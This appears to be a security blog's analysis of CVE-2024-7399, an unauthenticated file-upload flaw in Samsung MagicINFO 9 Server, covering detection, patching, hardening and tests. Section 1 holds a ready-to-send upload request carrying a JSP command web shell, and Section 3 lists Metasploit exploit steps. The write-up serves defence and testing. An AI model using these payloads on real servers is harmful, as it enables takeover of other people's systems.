Vulnerability Analysis

CVE-2024-7399: Samsung MagicINFO 9 Server RCE — Unauthenticated File Upload Now Powering Mirai Botnet Attacks

Executive Summary

CVE-2024-7399 is a path traversal vulnerability in Samsung MagicINFO 9 Server — the content management backend used to push content to Samsung commercial displays — that allows unauthenticated remote attackers to upload arbitrary JSP files and achieve full remote code execution (RCE) as NT AUTHORITY\SYSTEM. CISA added the flaw to its Known Exploited Vulnerabilities (KEV) catalog on April 24, 2026, confirming active in-the-wild exploitation including documented Mirai botnet deployments. Operators of Samsung digital signage infrastructure should treat this as a critical incident requiring immediate action.

1. What Is This Vulnerability?

Samsung MagicINFO 9 Server is a centralized content management system (CMS) used by enterprises, retailers, hospitality venues, and government agencies to schedule and push media content to fleets of Samsung commercial displays. The server exposes a web management interface that communicates with connected display endpoints over a local or wide-area network.

The vulnerability exists in the SWUpdateFileUploader servlet, a file upload endpoint within the MagicINFO application. The servlet's input verification logic fails to validate file extensions and does not require authentication, meaning any network-reachable actor can issue a specially crafted HTTP POST request to upload a JSP web shell directly to the server's web root.

Because the MagicINFO 9 Server process runs as NT AUTHORITY\SYSTEM on Windows, a successfully uploaded shell executes arbitrary commands at the highest privilege level on the host.

The Flawed Servlet

The servlet is accessible at /MagicInfo/ and by default the server listens on:

  • TCP 7001 (HTTP)
  • TCP 7002 (HTTPS)

A minimal unauthenticated upload request looks like this:

POST /MagicInfo/SWUpdateFileUploader HTTP/1.1
Host: target:7001
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="../../webapps/MagicInfo/shell.jsp"

<%@ page import="java.io.*" %>
<% String cmd = request.getParameter("cmd");
   Process p = Runtime.getRuntime().exec(cmd);
   BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
   String line; while ((line = br.readLine()) != null) out.println(line); %>
------Boundary--

The ../ traversal in the filename field moves the file out of the intended upload staging directory and plants the JSP directly in the application root, making it reachable via the web server. Because no authentication gate exists on the endpoint, this requires zero credentials.

Attack Vector

Attribute Value
Attack Vector Network
Attack Complexity Low
Privileges Required None
User Interaction None
Scope Changed
Confidentiality Impact High
Integrity Impact High
Availability Impact High

Real-World Impact

Within days of a public proof-of-concept being published in April/May 2025 by SSD-Disclosure, threat actors began incorporating CVE-2024-7399 into automated exploitation campaigns. The most prominent documented case involves Mirai botnet variants using the vulnerability to deploy a downloader script that:

  1. Fetches the Mirai botnet binary from attacker-controlled infrastructure
  2. Executes the binary as SYSTEM
  3. Enlists the host in a DDoS-for-hire fleet

Beyond Mirai, any attacker with network access to port 7001/7002 can use the shell to pivot deeper into corporate networks, exfiltrate media assets, or tamper with display content — a significant reputational risk for retail and public-facing deployments.

2. Who Is Affected?

Directly Vulnerable:

  • Samsung MagicINFO 9 Server — all versions prior to 21.1050
  • Samsung MagicINFO 9 Server v21.1050.0 — still vulnerable to the original PoC; Samsung's patch for this version was incomplete or addressed only a parallel code path (see CVE-2025-4632 below)

Effectively Affected:

  • Organizations running Samsung commercial displays (retail digital signage, hotel lobbies, airports, arenas, corporate lobbies, government facilities)
  • Any MagicINFO server exposed directly to the internet or reachable from untrusted network segments
  • Managed service providers (MSPs) administering multi-tenant MagicINFO deployments

Related CVE — Patch Bypass: CVE-2025-4632 is a closely related path traversal flaw patched by Samsung that appears to be the variant actively exploited in late 2025 and 2026 attacks. Applying the patch for CVE-2024-7399 alone (v21.1050.0) does not fully close the attack surface. Both CVEs must be addressed.

3. How to Detect It (Testing)

Manual Testing Steps

Step 1 — Identify exposed MagicINFO instances

Scan your network and internet perimeter for open TCP 7001/7002 connections hosting a Java/Tomcat application banner:

nmap -p 7001,7002 -sV --open <target-range>
# Look for: Apache Tomcat / Samsung MagicINFO service banner

Step 2 — Version enumeration

Access the MagicINFO login page:

http://<host>:7001/MagicInfo/

Navigate to Help → About after login, or inspect HTTP response headers for version strings. Any version below the latest patched build is at risk.

Step 3 — Probe the upload endpoint (in authorized testing only)

Send a benign probe to the SWUpdateFileUploader endpoint with a non-malicious payload to check if it responds without authentication:

curl -s -o /dev/null -w "%{http_code}" \
  -F "file=@/tmp/test.txt;filename=test.txt" \
  http://<host>:7001/MagicInfo/SWUpdateFileUploader

A 200 OK response from an unauthenticated request confirms the endpoint is unauthenticated and the server is vulnerable.

Step 4 — Check for existing compromise

Look for unexpected .jsp files in the MagicINFO web root:

# On the Windows host running MagicINFO
Get-ChildItem -Path "C:\Samsung\MagicInfo\webapps\MagicInfo\" -Filter "*.jsp" -Recurse |
  Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-30) }

Any newly-written JSP files not part of the original install are indicators of compromise (IoC).

Automated Scanning

Nuclei (recommended):

# Install/update Nuclei templates
nuclei -update-templates

# Run against target
nuclei -u http://<host>:7001 -tags samsung,magicinfo -severity high,critical

Shodan / Censys (for internet exposure check):

# Shodan query
http.title:"MagicInfo" port:7001

This reveals any MagicINFO instances publicly exposed to the internet. Cross-reference results against your asset inventory.

Metasploit: A Metasploit module (PR #20188 in the rapid7/metasploit-framework repository) is available for CVE-2024-7399. Use only in authorized penetration testing environments:

msf6 > use exploit/multi/http/samsung_magicinfo_upload_rce
msf6 exploit(...) > set RHOSTS <target>
msf6 exploit(...) > set RPORT 7001
msf6 exploit(...) > run

Code Review Checklist

For teams extending or customizing MagicINFO integrations:

  • Verify all file upload endpoints require valid session authentication
  • Confirm uploaded filenames are sanitized: strip ../, ..\\, and null bytes
  • Validate file extensions against an explicit allowlist (e.g., .jpg, .png, .mp4) — deny .jsp, .jspx, .war, .class
  • Ensure uploaded files are written to an isolated directory outside the web root
  • Check that uploaded files cannot be directly served as executable code by the application server

4. How to Fix It (Mitigation)

Step-by-Step Remediation

1. Identify all MagicINFO 9 Server instances in your environment

Query your asset management system, CMDB, or run a network scan for ports 7001/7002 across all subnets (including cloud environments and co-location facilities).

2. Check current version

Log in to each instance and navigate to Help → About. Record the version number.

3. Apply the latest Samsung patch

Download the current MagicINFO 9 Server update package from Samsung's official security portal:

https://security.samsungtv.com/securityUpdates

The patch that addresses both CVE-2024-7399 and CVE-2025-4632 (the active bypass) is included in the latest server update package. Version 21.1050.0 is not fully patched — continue upgrading to the latest available build.

4. Restart the MagicINFO service

After applying the patch, restart the application service to ensure all in-memory components are refreshed:

Restart-Service -Name "MagicInfoPremium" -Force

5. Verify patch integrity

Confirm the new version is reported in the UI and re-run the manual probe test from Section 3 to confirm the servlet now returns 403 Forbidden or 401 Unauthorized for unauthenticated requests.

6. Scan for indicators of prior compromise

Even after patching, inspect the file system for dropped web shells (see detection steps above). A patched server that was previously compromised may still contain a persistent shell accessible after the patch.

Code Fix Example

The core flaw is missing extension validation and authentication in the upload handler. A corrected pattern in a Java servlet context looks like this:

Before (Vulnerable):

// No auth check, no extension validation
String filename = request.getParameter("filename");
File uploadFile = new File(uploadDir + filename);
fileItem.write(uploadFile);

After (Fixed):

// Require valid session
HttpSession session = request.getSession(false);
if (session == null || session.getAttribute("authenticatedUser") == null) {
    response.sendError(HttpServletResponse.SC_UNAUTHORIZED);
    return;
}

// Sanitize and validate filename
String rawName = FilenameUtils.getName(request.getParameter("filename"));
String ext = FilenameUtils.getExtension(rawName).toLowerCase();
Set<String> ALLOWED_EXTS = Set.of("jpg", "png", "mp4", "avi", "pdf");

if (!ALLOWED_EXTS.contains(ext)) {
    response.sendError(HttpServletResponse.SC_BAD_REQUEST, "File type not allowed");
    return;
}

// Write to isolated, non-web-accessible upload staging directory
File uploadFile = new File(SAFE_UPLOAD_DIR, rawName);
fileItem.write(uploadFile);

Configuration Hardening

Firewall rules (immediate, even before patching):

# Block external access to MagicINFO management ports
# Allow only trusted management IPs / VPN CIDR blocks
iptables -A INPUT -p tcp --dport 7001 -s <trusted-mgmt-cidr> -j ACCEPT
iptables -A INPUT -p tcp --dport 7001 -j DROP
iptables -A INPUT -p tcp --dport 7002 -s <trusted-mgmt-cidr> -j ACCEPT
iptables -A INPUT -p tcp --dport 7002 -j DROP

Reverse proxy / WAF rule (block path traversal in uploads):

# Nginx WAF-style block — deny filename containing traversal sequences
location /MagicInfo/SWUpdateFileUploader {
    if ($request_body ~* "\.\./") {
        return 403;
    }
    # Restrict to internal networks only
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    allow 192.168.0.0/16;
    deny all;
    proxy_pass http://magicinfo-backend:7001;
}

5. How to Test the Fix (Validation)

Regression Test Scenarios

  • Scenario A: Attempt unauthenticated upload to /MagicInfo/SWUpdateFileUploader — expect 401 or 403
  • Scenario B: Attempt path traversal in filename (../../shell.jsp) as authenticated user — expect rejection with no file written outside the upload directory
  • Scenario C: Upload a legitimate allowed media file (.mp4, .jpg) as authenticated user — expect 200 OK and confirm normal signage functionality continues

Security Test Cases

Test Case 1: Unauthenticated upload attempt

  • Precondition: Patch applied, service restarted
  • Steps: Send unauthenticated multipart POST to /MagicInfo/SWUpdateFileUploader with filename=shell.jsp
  • Expected Result: HTTP 401/403 returned; no file written to disk

Test Case 2: Path traversal blocked for authenticated users

  • Precondition: Valid session cookie from authenticated user
  • Steps: Send POST with filename=../../webapps/MagicInfo/shell.jsp
  • Expected Result: HTTP 400 returned; no file written outside the designated upload directory

Test Case 3: Confirm no JSP shell reachable

  • Precondition: Post-patch
  • Steps: Attempt to access http://<host>:7001/MagicInfo/shell.jsp
  • Expected Result: HTTP 404 — file does not exist

Automated Tests

import requests

MAGICINFO_HOST = "http://<host>:7001"

def test_unauthenticated_upload_blocked():
    """CVE-2024-7399 — unauth upload must be rejected post-patch."""
    payload = ('------Boundary\r\nContent-Disposition: form-data; name="file"; '
               'filename="../../webapps/MagicInfo/test_probe.jsp"\r\n\r\n'
               '<% out.println("VULNERABLE"); %>\r\n------Boundary--')
    headers = {
        "Content-Type": "multipart/form-data; boundary=----Boundary"
    }
    r = requests.post(
        f"{MAGICINFO_HOST}/MagicInfo/SWUpdateFileUploader",
        data=payload,
        headers=headers,
        timeout=10
    )
    assert r.status_code in (401, 403), (
        f"FAIL: Upload was not blocked — got HTTP {r.status_code}. Server may be vulnerable."
    )
    print(f"PASS: Upload rejected with HTTP {r.status_code}")

def test_shell_not_accessible():
    """Confirm no shell was planted in the web root."""
    r = requests.get(f"{MAGICINFO_HOST}/MagicInfo/test_probe.jsp", timeout=10)
    assert r.status_code == 404, (
        f"FAIL: Shell appears accessible — got HTTP {r.status_code}. Investigate immediately."
    )
    print(f"PASS: No shell reachable — HTTP {r.status_code}")

if __name__ == "__main__":
    test_unauthenticated_upload_blocked()
    test_shell_not_accessible()

6. Prevention & Hardening

Best Practices

  • Never expose MagicINFO management ports (7001/7002) to the internet. The management interface should only be reachable from a dedicated management VLAN or via VPN. This single control would have prevented the vast majority of documented attacks.
  • Implement a patch management SLA for critical/high severity CVEs. CISA's KEV listing establishes a federal deadline of 3 weeks, but best practice for internet-exposed services is 72 hours for actively exploited vulnerabilities.
  • Maintain an accurate inventory of all digital signage infrastructure. Shadow IT deployments of MagicINFO — installed by AV teams, facilities managers, or vendors — are a common gap in security visibility.
  • Apply network segmentation. MagicINFO servers should be isolated in a dedicated signage VLAN with restricted east-west traffic. A compromised signage server should not be able to reach corporate Active Directory or financial systems.
  • Use application whitelisting on MagicINFO host systems. Windows Defender Application Control (WDAC) or AppLocker rules can prevent unauthorized executables (like the Mirai binary) from running, even if an attacker successfully uploads a web shell.

Monitoring & Detection

Configure alerts for the following indicators:

# SIEM / EDR alert rules

# Alert 1: New JSP file created in MagicINFO web root
rule: file_create
  path: "C:\Samsung\MagicInfo\webapps\MagicInfo\**\*.jsp"
  action: alert_and_quarantine

# Alert 2: MagicINFO process spawning child processes
rule: process_create
  parent_process: "java.exe"
  parent_cmdline: "*magicinfo*"
  child_process: ["cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe"]
  action: alert_critical

# Alert 3: Unexpected outbound connections from MagicINFO host
rule: network_connect
  process: "java.exe"
  direction: outbound
  destination_not_in: [<trusted-display-device-cidrs>, <samsung-update-servers>]
  action: alert_high

# Alert 4: Volume of POST requests to SWUpdateFileUploader
rule: http_request
  uri: "/MagicInfo/SWUpdateFileUploader"
  method: POST
  threshold: 5 per 60s
  action: alert_and_block

Log sources to monitor:

  • MagicINFO application logs: C:\Samsung\MagicInfo\logs\
  • Windows Event Log: Security (4688 — process creation), System
  • Network perimeter logs: Any connection to ports 7001/7002 from external IPs

References

Latest from the blog

See all →